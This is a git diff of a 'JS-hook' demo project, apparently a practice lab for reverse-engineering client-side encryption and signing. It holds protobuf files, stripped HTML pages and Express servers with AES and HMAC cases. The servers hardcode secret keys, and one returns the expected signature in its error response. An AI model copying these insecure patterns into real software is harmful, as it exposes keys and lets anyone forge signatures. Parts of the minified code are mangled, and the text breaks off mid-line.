e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 02],r=(3&f)<<4,u=1;break;case 1:s[o++]=h[r|f>>4],r=(15&f)<<2,u=2;break;case 2:s[o++]=h[r|f>>6],s[o++]=h[63&f],u=0}8191>4,r=u,s=2;break;case 2:i[n++]=(15&r)<<4|(60&u)>>2,r=u,s=3;break;case 3:i[n++]=(3&r)<<6|u,s=0}}if(1===s)throw Error(a);return n-e},n.test=function(t){return/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(t)}},{}],3:[function(t,i,n){function c(i,n){"string"==typeof i&&(n=i,i=nt);var f=[];function h(t){if("string"!=typeof t){var i=a();if(c.verbose&&console.log("codegen: "+i),i="return "+i,t){for(var n=Object.keys(t),r=Array(n.length+1),e=Array(n.length),s=0;s>>0:i<11754943508222875e-54?(e<<31|Math.round(i/1401298464324817e-60))>>>0:(e<<31|127+(t=Math.floor(Math.log(i)/Math.LN2))<<23|8388607&Math.round(i*Math.pow(2,-t)*8388608))>>>0,n,r)}function n(t,i,n){t=t(i,n),i=2*(t>>31)+1,n=t>>>23&255,t&=8388607;return 255==n?t?NaN:1/0*i:0==n?1401298464324817e-60*i*t:i*Math.pow(2,n-150)*(8388608+t)}function r(t,i,n){u[0]=t,i[n]=f[0],i[n+1]=f[1],i[n+2]=f[2],i[n+3]=f[3]}function e(t,i,n){u[0]=t,i[n]=f[3],i[n+1]=f[2],i[n+2]=f[1],i[n+3]=f[0]}function s(t,i){return f[0]=t[i],f[1]=t[i+1],f[2]=t[i+2],f[3]=t[i+3],u[0]}function o(t,i){return f[3]=t[i],f[2]=t[i+1],f[1]=t[i+2],f[0]=t[i+3],u[0]}var u,f,h,a,c;function l(t,i,n,r,e,s){var o,u=r<0?1:0;0===(r=u?-r:r)?(t(0,e,s+i),t(0<1/r?0:2147483648,e,s+n)):isNaN(r)?(t(0,e,s+i),t(2146959360,e,s+n)):17976931348623157e292>>0,e,s+n)):r<22250738585072014e-324?(t((o=r/5e-324)>>>0,e,s+i),t((u<<31|o/4294967296)>>>0,e,s+n)):(t(4503599627370496*(o=r*Math.pow(2,-(r=1024===(r=Math.floor(Math.log(r)/Math.LN2))?1023:r)))>>>0,e,s+i),t((u<<31|r+1023<<20|1048576*o&1048575)>>>0,e,s+n))}function d(t,i,n,r,e){i=t(r,e+i),t=t(r,e+n),r=2*(t>>31)+1,e=t>>>20&2047,n=4294967296*(1048575&t)+i;return 2047==e?n?NaN:1/0*r:0==e?5e-324*r*n:r*Math.pow(2,e-1075)*(n+4503599627370496)}function p(t,i,n){h[0]=t,i[n]=a[0],i[n+1]=a[1],i[n+2]=a[2],i[n+3]=a[3],i[n+4]=a[4],i[n+5]=a[5],i[n+6]=a[6],i[n+7]=a[7]}function v(t,i,n){h[0]=t,i[n]=a[7],i[n+1]=a[6],i[n+2]=a[5],i[n+3]=a[4],i[n+4]=a[3],i[n+5]=a[2],i[n+6]=a[1],i[n+7]=a[0]}function b(t,i){return a[0]=t[i],a[1]=t[i+1],a[2]=t[i+2],a[3]=t[i+3],a[4]=t[i+4],a[5]=t[i+5],a[6]=t[i+6],a[7]=t[i+7],h[0]}function y(t,i){return a[7]=t[i],a[6]=t[i+1],a[5]=t[i+2],a[4]=t[i+3],a[3]=t[i+4],a[2]=t[i+5],a[1]=t[i+6],a[0]=t[i+7],h[0]}return"undefined"!=typeof Float32Array?(u=new Float32Array([-0]),f=new Uint8Array(u.buffer),c=128===f[3],t.writeFloatLE=c?r:e,t.writeFloatBE=c?e:r,t.readFloatLE=c?s:o,t.readFloatBE=c?o:s):(t.writeFloatLE=i.bind(null,w),t.writeFloatBE=i.bind(null,m),t.readFloatLE=n.bind(null,g),t.readFloatBE=n.bind(null,j)),"undefined"!=typeof Float64Array?(h=new Float64Array([-0]),a=new Uint8Array(h.buffer),c=128===a[7],t.writeDoubleLE=c?p:v,t.writeDoubleBE=c?v:p,t.readDoubleLE=c?b:y,t.readDoubleBE=c?y:b):(t.writeDoubleLE=l.bind(null,w,0,4),t.writeDoubleBE=l.bind(null,m,4,0),t.readDoubleLE=d.bind(null,g,0,4),t.readDoubleBE=d.bind(null,j,4,0)),t}function w(t,i,n){i[n]=255&t,i[n+1]=t>>>8&255,i[n+2]=t>>>16&255,i[n+3]=t>>>24}function m(t,i,n){i[n]=t>>>24,i[n+1]=t>>>16&255,i[n+2]=t>>>8&255,i[n+3]=255&t}function g(t,i){return(t[i]|t[i+1]<<8|t[i+2]<<16|t[i+3]<<24)>>>0}function j(t,i){return(t[i]<<24|t[i+1]<<16|t[i+2]<<8|t[i+3])>>>0}i.exports=r(r)},{}],7:[function(t,i,n){function r(t){try{var i=eval("require")(t);if(i&&(i.length||Object.keys(i).length))return i}catch(t){}return null}i.exports=r},{}],8:[function(t,i,n){var e=n.isAbsolute=function(t){return/^(?:\/|\w+:)/.test(t)},r=n.normalize=function(t){var i=(t=t.replace(/\\/g,"/").replace(/\/{2,}/g,"/")).split("/"),n=e(t),t="";n&&(t=i.shift()+"/");for(var r=0;r>>1,s=null,o=r;return function(t){if(t<1||e>10),s[o++]=56320+(1023&r)):s[o++]=(15&r)<<12|(63&t[i++])<<6|63&t[i++],8191>6|192:(55296==(64512&r)&&56320==(64512&(e=t.charCodeAt(o+1)))?(++o,i[n++]=(r=65536+((1023&r)<<10)+(1023&e))>>18|240,i[n++]=r>>12&63|128):i[n++]=r>>12|224,i[n++]=r>>6&63|128),i[n++]=63&r|128);return n-s}},{}],11:[function(t,i,n){i.exports=e;var r=/\/|\./;function e(t,i){r.test(t)||(t="google/protobuf/"+t+".proto",i={nested:{google:{nested:{protobuf:{nested:i}}}}}),e[t]=i}e("any",{Any:{fields:{type_url:{type:"string",id:1},value:{type:"bytes",id:2}}}}),e("duration",{Duration:i={fields:{seconds:{type:"int64",id:1},nanos:{type:"int32",id:2}}}}),e("timestamp",{Timestamp:i}),e("empty",{Empty:{fields:{}}}),e("struct",{Struct:{fields:{fields:{keyType:"string",type:"Value",id:1}}},Value:{oneofs:{kind:{oneof:["nullValue","numberValue","stringValue","boolValue","structValue","listValue"]}},fields:{nullValue:{type:"NullValue",id:1},numberValue:{type:"double",id:2},stringValue:{type:"string",id:3},boolValue:{type:"bool",id:4},structValue:{type:"Struct",id:5},listValue:{type:"ListValue",id:6}}},NullValue:{values:{NULL_VALUE:0}},ListValue:{fields:{values:{rule:"repeated",type:"Value",id:1}}}}),e("wrappers",{DoubleValue:{fields:{value:{type:"double",id:1}}},FloatValue:{fields:{value:{type:"float",id:1}}},Int64Value:{fields:{value:{type:"int64",id:1}}},UInt64Value:{fields:{value:{type:"uint64",id:1}}},Int32Value:{fields:{value:{type:"int32",id:1}}},UInt32Value:{fields:{value:{type:"uint32",id:1}}},BoolValue:{fields:{value:{type:"bool",id:1}}},StringValue:{fields:{value:{type:"string",id:1}}},BytesValue:{fields:{value:{type:"bytes",id:1}}}}),e("field_mask",{FieldMask:{fields:{paths:{rule:"repeated",type:"string",id:1}}}}),e.get=function(t){return e[t]||null}},{}]},{},[19])}(); diff --git a/JS-hook/public/proto/api.proto b/JS-hook/public/proto/api.proto new file mode 100644 index 0000000..032a5e6 --- /dev/null +++ b/JS-hook/public/proto/api.proto @@ -0,0 +1,70 @@ +syntax = "proto3"; + +package api; + +// 用户信息消息 +message UserInfo { + string name = 1; + string email = 2; + int32 age = 3; + string phone = 4; + string address = 5; + string company = 6; + string position = 7; + int64 salary = 8; + repeated string skills = 9; + map metadata = 10; +} + +// 产品信息消息 +message ProductInfo { + string name = 1; + string description = 2; + double price = 3; + string category = 4; + string brand = 5; + int32 stock = 6; + repeated string tags = 7; + map attributes = 8; +} + +// 订单信息消息 +message OrderInfo { + string order_id = 1; + string customer_name = 2; + string customer_email = 3; + repeated ProductInfo products = 4; + double total_amount = 5; + string status = 6; + int64 created_at = 7; + string shipping_address = 8; + string payment_method = 9; +} + +// 通用请求消息 +message ApiRequest { + string request_id = 1; + int64 timestamp = 2; + string operation = 3; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } +} + +// 通用响应消息 +message ApiResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string message = 4; + int32 code = 5; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } +} diff --git a/JS-hook/public/protobuf-request.html b/JS-hook/public/protobuf-request.html new file mode 100644 index 0000000..30bc0c4 --- /dev/null +++ b/JS-hook/public/protobuf-request.html @@ -0,0 +1,965 @@ + + + + + + Protocol Buffers Request + + + + + +
+
+

Protocol Buffers API 系统

+

Protocol Buffers Request Body Case - 高效二进制序列化通信

+
+ +
+

🔧 选择API操作

+ +
+ + + +
+ + +
+

👤 用户信息管理

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ +
+
JavaScript ×
+
Python ×
+
React ×
+ +
+
+
+ + +
+

📦 产品信息管理

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+
+ +
+
5G ×
+
高清摄像 ×
+
长续航 ×
+ +
+
+
+ + +
+

📋 订单信息管理

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/protobuf-response.html b/JS-hook/public/protobuf-response.html new file mode 100644 index 0000000..3950cc0 --- /dev/null +++ b/JS-hook/public/protobuf-response.html @@ -0,0 +1,778 @@ + + + + + + Protocol Buffers Response + + + + + +
+
+

数据分析平台

+

Protocol Buffers Response Case - 高效二进制响应体解析

+
+ +
+

📊 选择数据类型

+ +
+
+ 📈 +

业务分析

+

获取业务指标、销售数据、用户行为等分析报告

+
+
+ 📋 +

系统报告

+

查看系统性能、错误日志、监控数据等技术报告

+
+
+ 📊 +

统计数据

+

获取用户统计、访问量、转化率等关键数据指标

+
+
+ 🔍 +

深度洞察

+

AI驱动的数据洞察、趋势预测、智能建议等

+
+
+ + +
+

📈 业务分析选项

+
+
销售数据
+
收入分析
+
客户分析
+
产品分析
+
+
+ + +
+

📋 系统报告选项

+
+
性能报告
+
错误日志
+
安全报告
+
使用情况
+
+
+ + +
+

📊 统计数据选项

+
+
流量统计
+
转化统计
+
用户参与
+
留存分析
+
+
+ + +
+

🔍 深度洞察选项

+
+
趋势预测
+
智能推荐
+
异常检测
+
预测分析
+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/query-string-param-encrypt.html b/JS-hook/public/query-string-param-encrypt.html new file mode 100644 index 0000000..949482b --- /dev/null +++ b/JS-hook/public/query-string-param-encrypt.html @@ -0,0 +1,206 @@ + + + + + + Query String Parameter Encryption + + + + + +

Query String Parameter Encryption Case

+

这个案例演示如何对URL查询参数进行加密。用户输入查询条件,系统会加密这些参数并发送请求。

+ +
+

商品搜索

+
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+ +
+ + + +
+ + + + diff --git a/JS-hook/public/query-string-param-sign.html b/JS-hook/public/query-string-param-sign.html new file mode 100644 index 0000000..7f9d2ff --- /dev/null +++ b/JS-hook/public/query-string-param-sign.html @@ -0,0 +1,97 @@ + + + + + + 列表页面 + + + + +
+

列表页面

+
加载中...
+ + +
+ + + + \ No newline at end of file diff --git a/JS-hook/public/response-field-decrypt.html b/JS-hook/public/response-field-decrypt.html new file mode 100644 index 0000000..458d1b2 --- /dev/null +++ b/JS-hook/public/response-field-decrypt.html @@ -0,0 +1,394 @@ + + + + + + Response Field Decryption + + + + + +
+
+

用户信息查询

+

Response JSON Field Encryption Case - 响应字段解密

+
+ +
+
+ + +
+ +
+ + + +
+ + + + diff --git a/JS-hook/public/response-header-cookie.html b/JS-hook/public/response-header-cookie.html new file mode 100644 index 0000000..e96c33d --- /dev/null +++ b/JS-hook/public/response-header-cookie.html @@ -0,0 +1,946 @@ + + + + + + Response Header Cookie + + + + + +
+
+

会话管理平台

+

Response Header Cookie Case - 响应头加密Cookie处理

+
+ +
+

🔐 选择认证服务

+ +
+
+ 🔑 +

用户登录

+

用户身份验证,返回加密的会话Cookie和认证令牌

+
+
+ 🌐 +

OAuth授权

+

第三方OAuth认证,处理授权码和访问令牌

+
+
+ 🎫 +

单点登录

+

企业SSO认证,统一身份管理和权限控制

+
+
+ 🔄 +

令牌刷新

+

刷新访问令牌,延长会话有效期和权限更新

+
+
+ + +
+

🔑 用户登录

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🌐 OAuth授权

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🎫 单点登录

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🔄 令牌刷新

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/public/single-field-encrypt.html b/JS-hook/public/single-field-encrypt.html new file mode 100644 index 0000000..96b4f2d --- /dev/null +++ b/JS-hook/public/single-field-encrypt.html @@ -0,0 +1,410 @@ + + + + + + Single Field Encryption + + + + + +
+
+

加密聊天室

+

Single Field Encryption Case - 单字段加密通信

+
+ +
+
+
+ + +
+
+ + +
+ +
+ +
+
+
+ 系统 + 刚刚 +
+
欢迎来到加密聊天室!所有消息内容都会被加密传输。
+
+
+
+ + +
+ + + + diff --git a/JS-hook/public/video-segment-encryption.html b/JS-hook/public/video-segment-encryption.html new file mode 100644 index 0000000..0f00d51 --- /dev/null +++ b/JS-hook/public/video-segment-encryption.html @@ -0,0 +1,863 @@ + + + + + + Video Segment Encryption + + + + + +
+
+

流媒体加密平台

+

Video Segment Encryption Case - 加密视频片段处理

+
+ +
+

🎬 视频内容库

+ +
+
+ 🎥 选择视频内容开始播放 +
+
+ +
+
+ + + + +
+
+ + + +
+
+ +
+
+ 总片段数: + 0 +
+
+ 已加载: + 0 +
+
+ 已解密: + 0 +
+
+ 解密进度: + 0% +
+
+ +
+
+
+ +

🎞️ 视频内容选择

+
+
+ 🎬 +

动作电影

+

高清动作大片,包含多个加密片段

+
时长: 120分钟 | 分辨率: 1080p | 片段: 240个
+
待加载
+
+
+ 📺 +

电视剧集

+

热门电视剧,分集加密存储

+
时长: 45分钟 | 分辨率: 720p | 片段: 90个
+
待加载
+
+
+ 🌍 +

纪录片

+

自然纪录片,4K超高清画质

+
时长: 90分钟 | 分辨率: 4K | 片段: 180个
+
待加载
+
+
+ 📡 +

直播流

+

实时直播内容,动态加密

+
实时流 | 分辨率: 1080p | 动态片段
+
待加载
+
+
+
+ +
+

📋 视频片段列表

+
+ 等待选择视频内容... + 待选择 +
+
+ + +
+ + + + diff --git a/JS-hook/query-string-param-sign.js b/JS-hook/query-string-param-sign.js new file mode 100644 index 0000000..34ffc37 --- /dev/null +++ b/JS-hook/query-string-param-sign.js @@ -0,0 +1,52 @@ +const express = require('express'); +const crypto = require('crypto'); +const bodyParser = require('body-parser'); +const app = express(); + +app.use(bodyParser.json()); +app.use(bodyParser.urlencoded({ extended: true })); + +// 静态文件服务 +app.use('/api', express.static('data')); + +// 示例数据目录 +const dataDir = 'data'; + +// 定义一个简单的签名验证中间件 +const validateSign = (req, res, next) => { + const sign = req.query.sign; + const secretKey = 'my-secret-key'; // 替换为你的密钥 + + // 生成签名的原始字符串 + const originalString = JSON.stringify(req.query); + + // 使用 HMAC-SHA256 算法生成签名 + const expectedSign = crypto + .createHmac('sha256', secretKey) + .update(originalString) + .digest('hex'); + + // 验证签名是否匹配 + if (sign === expectedSign) { + next(); + } else { + res.status(403).json({ error: 'Invalid sign' }); + } +}; + +// 列表接口 +app.get('/api/items', validateSign, (req, res) => { + // 这里可以替换为从数据库加载数据 + const items = [ + { id: 1, name: 'Item 1' }, + { id: 2, name: 'Item 2' }, + { id: 3, name: 'Item 3' }, + ]; + res.json({ items }); +}); + +// 启动服务器 +const port = 3000; +app.listen(port, () => { + console.log(`Server is running on http://localhost:${port}`); +}); \ No newline at end of file diff --git a/JS-hook/server.js b/JS-hook/server.js new file mode 100644 index 0000000..5973dc7 --- /dev/null +++ b/JS-hook/server.js @@ -0,0 +1,2442 @@ +const express = require('express'); +const app = express(); +const bodyParser = require('body-parser'); +const crypto = require('crypto'); +const CryptoJS = require('crypto-js'); +const protobuf = require('protobufjs'); +const {join} = require("node:path"); + +// 设置静态文件目录 +app.use(express.static(join(__dirname, 'public'))); +app.use(bodyParser.urlencoded({extended: true})); +app.use(bodyParser.json()); + +// 定义一个简单的签名验证中间件 +const validateSign = (req, res, next) => { + const sign = req.query.sign; + const secretKey = 'my-secret-key'; // 替换为你的密钥 + + // 生成签名的原始字符串 (使用URL路径) + const originalString = req.path; + + // 使用 HMAC-SHA256 算法生成签名 + const expectedSign = crypto + .createHmac('sha256', secretKey) + .update(originalString) + .digest('hex'); + + // 验证签名是否匹配 + if (sign === expectedSign) { + next(); + } else { + res.status(403).json({ error: 'Invalid sign', expected: expectedSign, received: sign }); + } +}; + +// 列表接口 +app.get('/api/items', validateSign, (req, res) => { + // 这里可以替换为从数据库加载数据 + const items = [ + { id: 1, name: 'Item 1' }, + { id: 2, name: 'Item 2' }, + { id: 3, name: 'Item 3' }, + ]; + res.json({ items }); +}); + +// 解密查询参数的中间件 +const decryptQueryParams = (req, res, next) => { + const encryptedQuery = req.query.q; + const secretKey = 'query-encrypt-key-2025'; + + if (!encryptedQuery) { + return res.status(400).json({ error: 'Missing encrypted query parameter' }); + } + + try { + // 解密参数 + const decryptedBytes = CryptoJS.AES.decrypt(encryptedQuery, secretKey); + const decryptedString = decryptedBytes.toString(CryptoJS.enc.Utf8); + const params = JSON.parse(decryptedString); + + // 将解密后的参数添加到请求对象 + req.decryptedParams = params; + next(); + } catch (error) { + res.status(400).json({ error: 'Invalid encrypted parameters', details: error.message }); + } +}; + +// 商品搜索接口 - 使用加密的查询参数 +app.get('/api/search-products', decryptQueryParams, (req, res) => { + const { keyword, category, minPrice, maxPrice } = req.decryptedParams; + + // 模拟商品数据 + const allProducts = [ + { id: 1, name: '苹果手机', price: 6999, category: 'electronics' }, + { id: 2, name: '华为手机', price: 4999, category: 'electronics' }, + { id: 3, name: '小米手机', price: 2999, category: 'electronics' }, + { id: 4, name: '时尚T恤', price: 199, category: 'clothing' }, + { id: 5, name: '牛仔裤', price: 299, category: 'clothing' }, + { id: 6, name: 'JavaScript高级程序设计', price: 89, category: 'books' }, + { id: 7, name: 'Vue.js实战', price: 79, category: 'books' }, + { id: 8, name: '智能台灯', price: 299, category: 'home' }, + { id: 9, name: '蓝牙音箱', price: 399, category: 'electronics' }, + { id: 10, name: '运动鞋', price: 599, category: 'clothing' } + ]; + + // 根据条件过滤商品 + let filteredProducts = allProducts.filter(product => { + const matchesKeyword = !keyword || product.name.includes(keyword); + const matchesCategory = !category || product.category === category; + const matchesPrice = product.price >= (minPrice || 0) && product.price <= (maxPrice || 999999); + + return matchesKeyword && matchesCategory && matchesPrice; + }); + + res.json({ + products: filteredProducts, + searchParams: req.decryptedParams, + total: filteredProducts.length + }); +}); + +// 验证登录表单签名的中间件 +const validateLoginSign = (req, res, next) => { + const { username, password, timestamp, sign } = req.body; + const secretKey = 'form-encrypt-key-2025'; + + if (!sign) { + return res.status(400).json({ error: 'Missing signature' }); + } + + try { + // 生成期望的签名 + const signString = `${username}${password}${timestamp}`; + const expectedSign = CryptoJS.HmacSHA256(signString, secretKey).toString(); + + if (sign !== expectedSign) { + return res.status(403).json({ error: 'Invalid signature' }); + } + + // 解密密码 + const decryptedPassword = CryptoJS.AES.decrypt(password, secretKey).toString(CryptoJS.enc.Utf8); + req.body.decryptedPassword = decryptedPassword; + + next(); + } catch (error) { + res.status(400).json({ error: 'Invalid encrypted data', details: error.message }); + } +}; + +// 登录接口 +app.post('/api/login', validateLoginSign, (req, res) => { + const { username, decryptedPassword, rememberMe } = req.body; + + // 模拟用户数据库 + const users = [ + { id: 1, username: 'admin@example.com', password: '123456', name: '管理员' }, + { id: 2, username: 'user@example.com', password: 'password', name: '普通用户' }, + { id: 3, username: 'test', password: 'test123', name: '测试用户' } + ]; + + // 验证用户名和密码 + const user = users.find(u => + (u.username === username || u.username.split('@')[0] === username) && + u.password === decryptedPassword + ); + + if (!user) { + return res.status(401).json({ error: '用户名或密码错误' }); + } + + // 生成模拟token + const token = CryptoJS.HmacSHA256(`${user.id}${Date.now()}`, 'token-secret').toString(); + + res.json({ + success: true, + message: '登录成功', + user: { + id: user.id, + username: user.name, + email: user.username + }, + token: token, + loginTime: new Date().toISOString(), + rememberMe: rememberMe + }); +}); + +// 解密JSON字段的中间件 +const decryptJsonFields = (req, res, next) => { + const secretKey = 'json-field-encrypt-2025'; + const { phone, idCard, bankCard } = req.body; + + try { + // 解密敏感字段 + const decryptedPhone = CryptoJS.AES.decrypt(phone, secretKey).toString(CryptoJS.enc.Utf8); + const decryptedIdCard = CryptoJS.AES.decrypt(idCard, secretKey).toString(CryptoJS.enc.Utf8); + const decryptedBankCard = CryptoJS.AES.decrypt(bankCard, secretKey).toString(CryptoJS.enc.Utf8); + + // 验证解密结果 + if (!decryptedPhone || !decryptedIdCard || !decryptedBankCard) { + return res.status(400).json({ error: '解密敏感字段失败' }); + } + + // 将解密后的数据添加到请求对象 + req.body.decryptedFields = { + phone: decryptedPhone, + idCard: decryptedIdCard, + bankCard: decryptedBankCard + }; + + next(); + } catch (error) { + res.status(400).json({ error: '解密失败', details: error.message }); + } +}; + +// 用户信息提交接口 +app.post('/api/submit-user-info', decryptJsonFields, (req, res) => { + const { name, email, city, age, remarks, timestamp, decryptedFields } = req.body; + + // 验证必填字段 + if (!name || !email || !decryptedFields.phone || !decryptedFields.idCard) { + return res.status(400).json({ error: '缺少必填字段' }); + } + + // 验证手机号格式 + const phoneRegex = /^1[3-9]\d{9}$/; + if (!phoneRegex.test(decryptedFields.phone)) { + return res.status(400).json({ error: '手机号格式不正确' }); + } + + // 验证身份证号格式(简单验证) + const idCardRegex = /^\d{17}[\dX]$/; + if (!idCardRegex.test(decryptedFields.idCard)) { + return res.status(400).json({ error: '身份证号格式不正确' }); + } + + // 验证银行卡号格式(简单验证) + const bankCardRegex = /^\d{16,19}$/; + if (!bankCardRegex.test(decryptedFields.bankCard)) { + return res.status(400).json({ error: '银行卡号格式不正确' }); + } + + // 模拟保存到数据库 + const userId = Math.floor(Math.random() * 100000) + 10000; + + // 返回成功响应 + res.json({ + success: true, + message: '用户信息提交成功', + userId: userId, + submitTime: new Date().toISOString(), + status: '已处理', + decryptedData: { + phone: decryptedFields.phone, + idCard: decryptedFields.idCard.replace(/(\d{6})\d{8}(\d{4})/, '$1********$2'), // 脱敏显示 + bankCard: decryptedFields.bankCard.replace(/(\d{4})\d{8,11}(\d{4})/, '$1****$2') // 脱敏显示 + }, + userInfo: { + name: name, + email: email, + city: city, + age: age, + remarks: remarks + } + }); +}); + +// 加密响应字段的函数 +const encryptResponseField = (value) => { + const secretKey = 'response-decrypt-2025'; + return CryptoJS.AES.encrypt(value, secretKey).toString(); +}; + +// 用户详细信息接口 - 返回加密字段 +app.get('/api/user-details/:userId', (req, res) => { + const userId = req.params.userId; + + // 模拟用户数据库 + const users = { + '1001': { + id: 1001, + name: '张三', + email: 'zhangsan@company.com', + department: '技术部', + phone: '13800138001', + idCard: '110101199001011001', + bankCard: '6222021234567890001', + address: '北京市朝阳区某某街道123号', + createdAt: '2023-01-15T08:30:00Z', + lastLogin: '2025-01-31T10:15:00Z', + status: '正常' + }, + '1002': { + id: 1002, + name: '李四', + email: 'lisi@company.com', + department: '市场部', + phone: '13800138002', + idCard: '110101199002022002', + bankCard: '6222021234567890002', + address: '上海市浦东新区某某路456号', + createdAt: '2023-02-20T09:45:00Z', + lastLogin: '2025-01-31T09:30:00Z', + status: '正常' + }, + '1003': { + id: 1003, + name: '王五', + email: 'wangwu@company.com', + department: '财务部', + phone: '13800138003', + idCard: '110101199003033003', + bankCard: '6222021234567890003', + address: '广州市天河区某某大道789号', + createdAt: '2023-03-10T14:20:00Z', + lastLogin: '2025-01-30T16:45:00Z', + status: '正常' + }, + '1004': { + id: 1004, + name: '赵六', + email: 'zhaoliu@company.com', + department: '人事部', + phone: '13800138004', + idCard: '110101199004044004', + bankCard: '6222021234567890004', + address: '深圳市南山区某某科技园101号', + createdAt: '2023-04-05T11:10:00Z', + lastLogin: '2025-01-29T14:20:00Z', + status: '正常' + } + }; + + const user = users[userId]; + + if (!user) { + return res.status(404).json({ error: '用户不存在' }); + } + + // 构建响应,敏感字段加密 + const response = { + success: true, + message: '获取用户信息成功', + data: { + id: user.id, + name: user.name, + email: user.email, + department: user.department, + // 敏感字段加密 + encryptedPhone: encryptResponseField(user.phone), + encryptedIdCard: encryptResponseField(user.idCard), + encryptedBankCard: encryptResponseField(user.bankCard), + encryptedAddress: encryptResponseField(user.address), + // 其他字段保持明文 + createdAt: user.createdAt, + lastLogin: user.lastLogin, + status: user.status + }, + timestamp: new Date().toISOString() + }; + + res.json(response); +}); + +// 单字段加密消息发送接口 +app.post('/api/send-message', (req, res) => { + const { sender, encryptedMessage, timestamp } = req.body; + const secretKey = 'single-field-2025'; + + // 验证必填字段 + if (!sender || !encryptedMessage) { + return res.status(400).json({ error: '缺少必填字段' }); + } + + try { + // 解密消息内容 + const decryptedBytes = CryptoJS.AES.decrypt(encryptedMessage, secretKey); + const decryptedMessage = decryptedBytes.toString(CryptoJS.enc.Utf8); + + if (!decryptedMessage) { + return res.status(400).json({ error: '消息解密失败' }); + } + + // 模拟消息处理和存储 + const messageId = Math.random().toString(36).substring(2, 15); + + // 生成服务器回复消息(也加密) + const replyMessages = [ + '消息已收到,谢谢!', + '收到您的消息,正在处理中...', + '感谢您的消息,我们会尽快回复。', + '您的消息很重要,已记录在案。', + '消息接收成功,系统已自动处理。' + ]; + + const randomReply = replyMessages[Math.floor(Math.random() * replyMessages.length)]; + const encryptedReply = CryptoJS.AES.encrypt(randomReply, secretKey).toString(); + + // 构建响应 + const response = { + success: true, + message: '消息发送成功', + messageId: messageId, + sender: sender, + timestamp: new Date().toISOString(), + // 服务器回复的加密消息 + encryptedContent: encryptedReply, + // 解密后的原始消息(用于验证) + originalMessage: decryptedMessage + }; + + res.json(response); + + } catch (error) { + res.status(400).json({ error: '消息处理失败', details: error.message }); + } +}); + +// 处理十六进制加密请求体的中间件 +const handleHexEncryptedBody = (req, res, next) => { + const secretKey = 'hex-body-encrypt-2025'; + + // 获取原始请求体(十六进制字符串) + let hexData = ''; + + req.on('data', chunk => { + hexData += chunk.toString(); + }); + + req.on('end', () => { + try { + // 1. 从十六进制转换回加密的字符串 + const encryptedData = CryptoJS.enc.Hex.parse(hexData).toString(CryptoJS.enc.Utf8); + + // 2. 解密数据 + const decryptedBytes = CryptoJS.AES.decrypt(encryptedData, secretKey); + const decryptedString = decryptedBytes.toString(CryptoJS.enc.Utf8); + + if (!decryptedString) { + return res.status(400).json({ error: '请求体解密失败' }); + } + + // 3. 解析JSON + const jsonData = JSON.parse(decryptedString); + + // 将解密后的数据添加到请求对象 + req.decryptedBody = jsonData; + req.originalHexData = hexData; + req.encryptedData = encryptedData; + + next(); + } catch (error) { + res.status(400).json({ error: 